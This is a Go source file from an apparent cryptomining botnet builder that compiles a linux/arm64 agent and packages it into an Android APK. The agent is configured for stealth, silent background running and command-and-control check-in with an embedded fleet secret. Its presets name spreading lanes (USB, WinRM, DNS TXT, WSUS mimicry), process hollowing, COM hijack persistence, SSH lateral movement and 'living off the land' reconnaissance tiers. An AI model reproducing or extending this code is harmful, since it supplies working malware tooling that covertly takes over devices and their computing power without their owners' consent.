package builder import ( "context" "encoding/json" "fmt" "log" "net/http" "os" "os/exec" "path/filepath" "runtime" "strings" "time" "crypto-miner-server/internal/models" "github.com/google/uuid" ) // ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path. type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error) // Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes). // apkSafeLotlTiers lists the only LOTL tiers that make sense on Android. // The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts // writes — none of which are available inside the Android process sandbox. // Restricting to vuln_recon prevents silent runtime failures and avoids // pointless battery drain from techniques that will never succeed. var apkSafeLotlTiers = []string{"vuln_recon"} // ApplyApkScoutPreset enforces roving scout defaults for Android APK builds. func ApplyApkScoutPreset(req *BuildRequest) { ApplyApkBuildPreset(req) req.ScoutMode = true req.MiningDisabled = true req.LotlOnionEnabled = false req.LotlPolicyFromServer = true req.LotlOnionTiers = []string{"discover_and_join", "service_graph"} if strings.TrimSpace(req.Wallet) == "" { req.Wallet = "android-scout-no-pool" } } // ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds. func ApplyApkBuildPreset(req *BuildRequest) { req.ApkMode = true req.TargetOS = "android" req.TargetArch = "arm64" req.FusionEnabled = false req.SpreadKit = false req.GPUEnabled = false req.ProcessHollowing = false req.Obfuscate = false req.SignBuild = false req.MiningDisabled = true req.MinerExecution = "inprocess" req.Threads = 1 req.ThreadMode = "fixed" req.ThreadPercent = 25 req.MiningMode = "idle" req.MaxCPUUsagePct = 30 req.StealthMode = true req.SilentMode = true req.DisplayMode = "background" req.FileLogging = false req.AutoSpread = false req.USBSpread = false req.ShareSpread = false req.WinRMSpread = false req.DnsTxtSpread = false req.WebRTCMeshSpread = false req.WSUSCachePeerSpread = false req.WSUSFormatMimic = false req.COMHijackPersist = false req.RemoteAggressive = false req.LinuxLOTLMode = "off" req.LotlOnionEnabled = false req.LotlPolicyFromServer = false req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...) if strings.TrimSpace(req.ApkAgentName) == "" { req.ApkAgentName = req.WorkerName } } func (h *Handler) apkAndroidDir() string { if h.projectRoot != "" && h.projectRoot != "." { return filepath.Join(h.projectRoot, "android") } return filepath.Join(h.dataDir, "android") } func (h *Handler) apkAssetsDir() string { return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets") } // apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads. type apkMiningConfig struct { Enabled bool `json:"enabled"` } // apkAssetConfig is the full config.json written into the APK assets. // Every field here is consumed by AgentConfig.kt — adding a field here // without a corresponding read in Kotlin is a no-op, but omitting a field // that Kotlin reads causes the app to fall back to its hardcoded defaults // (e.g. fleet_secret would be nil → agent cannot authenticate to the server). type apkAssetConfig struct { ServerURL string `json:"server_url"` WorkerName string `json:"worker_name"` WorkerNumber string `json:"worker_number"` FleetSecret string `json:"fleet_secret,omitempty"` Mining apkMiningConfig `json:"mining"` BuildID string `json:"build_id"` } func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error { assetsDir := h.apkAssetsDir() if err := os.MkdirAll(assetsDir, 0755); err != nil { return fmt.Errorf("create apk assets dir: %w", err) } workerName := strings.TrimSpace(req.ApkAgentName) if workerName == "" { workerName = strings.TrimSpace(req.WorkerName) } cfg := apkAssetConfig{ ServerURL: strings.TrimSpace(req.ServerURL), WorkerName: workerName, WorkerNumber: workerName, FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake Mining: apkMiningConfig{Enabled: !req.MiningDisabled}, BuildID: buildID, } raw, err := json.MarshalIndent(cfg, "", " ") if err != nil { return err } return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644) } func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error { assetsDir := h.apkAssetsDir() if err := os.MkdirAll(assetsDir, 0755); err != nil { return fmt.Errorf("create apk assets dir: %w", err) } dest := filepath.Join(assetsDir, "agent") return copyFile(agentBinary, dest) } func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) { script := filepath.Join(androidDir, "build-apk.ps1") if runtime.GOOS == "windows" && fileExists(script) { cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir) out, err := cmd.CombinedOutput() if err != nil { if ctx.Err() != nil { return "", fmt.Errorf("apk build cancelled") } return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out))) } // The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back // to the release name for scripts that override the output filename. for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} { apk := filepath.Join(buildDir, name) if fileExists(apk) { return apk, nil } } return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir) } // Use assembleDebug, not assembleRelease. // assembleRelease requires a signingConfig keystore — without one Gradle // produces an unsigned APK that Android 8+ refuses to install via adb. // assembleDebug signs automatically with the Gradle debug keystore, which // is sufficient for sideloaded fleet installs and matches build-apk.ps1. gradlew := filepath.Join(androidDir, "gradlew") if runtime.GOOS == "windows" { gradlew = filepath.Join(androidDir, "gradlew.bat") } if fileExists(gradlew) { cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon") cmd.Dir = androidDir out, err := cmd.CombinedOutput() if err != nil { if ctx.Err() != nil { return "", fmt.Errorf("apk build cancelled") } return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out))) } candidates := []string{ filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"), // legacy names kept for backward compat with older AGP versions filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"), filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"), filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"), } for _, c := range candidates { if fileExists(c) { dest := filepath.Join(buildDir, "agent-app-debug.apk") if err := copyFile(c, dest); err != nil { return "", err } return dest, nil } } return "", fmt.Errorf("gradle finished but APK output not found") } return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script) } func fileExists(path string) bool { _, err := os.Stat(path) return err == nil } func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) { if h.apkBuildFn != nil { return h.apkBuildFn(h, ctx, androidDir, buildDir) } return h.defaultApkBuild(ctx, androidDir, buildDir) } func apkFileName(req *BuildRequest) string { base := sanitizeFileName(req.ApkAgentName) if base == "" { base = sanitizeFileName(req.WorkerName) } return "agent-" + base + ".apk" } // buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK. func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) { if req.ScoutMode { ApplyApkScoutPreset(req) } else { ApplyApkBuildPreset(req) } buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") cleanupBuild := func() { _ = os.RemoveAll(buildDir) } if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Copying source files", 5) if err := h.copyAgentSource(agentDir); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""} h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25) outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false) if err != nil { cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } if ctx.Err() != nil { cleanupBuild() return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Writing Android config", 55) if err := h.writeApkConfigJSON(req, buildID); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, "" } if ctx.Err() != nil { cleanupBuild() return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Copying agent to APK assets", 65) if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Building APK", 80) androidDir := h.apkAndroidDir() apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir) if err != nil { cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } finalName := apkFileName(req) finalPath := filepath.Join(buildDir, finalName) if apkPath != finalPath { if err := copyFile(apkPath, finalPath); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, "" } } fileInfo, err := os.Stat(finalPath) if err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, "" } if err := h.checkBuildSize(fileInfo.Size()); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, "" } exportPath := "" if h.projectRoot != "" && h.projectRoot != "." { exportPath = filepath.Join(h.projectRoot, finalName) if err := copyFile(finalPath, exportPath); err != nil { log.Printf("[Builder] APK root export: %v", err) exportPath = "" } } if exportPath == "" { exportPath, _ = filepath.Abs(finalPath) } absPath, _ := filepath.Abs(finalPath) dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID) buildRecord := &models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: fileInfo.Size(), FilePath: absPath, FileName: finalName, DownloadURL: dlURL, Platform: "android", CreatedAt: time.Now(), } h.setProgress(req.CancelToken, "Saving to database", 99) if err := h.db.InsertBuild(buildRecord); err != nil { return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size()) return BuildResponse{ Success: true, BuildID: buildID, FileName: finalName, FilePath: absPath, ArtifactPath: absPath, FileSize: fileInfo.Size(), DownloadURL: dlURL, ExportPath: exportPath, }, http.StatusOK, finalPath }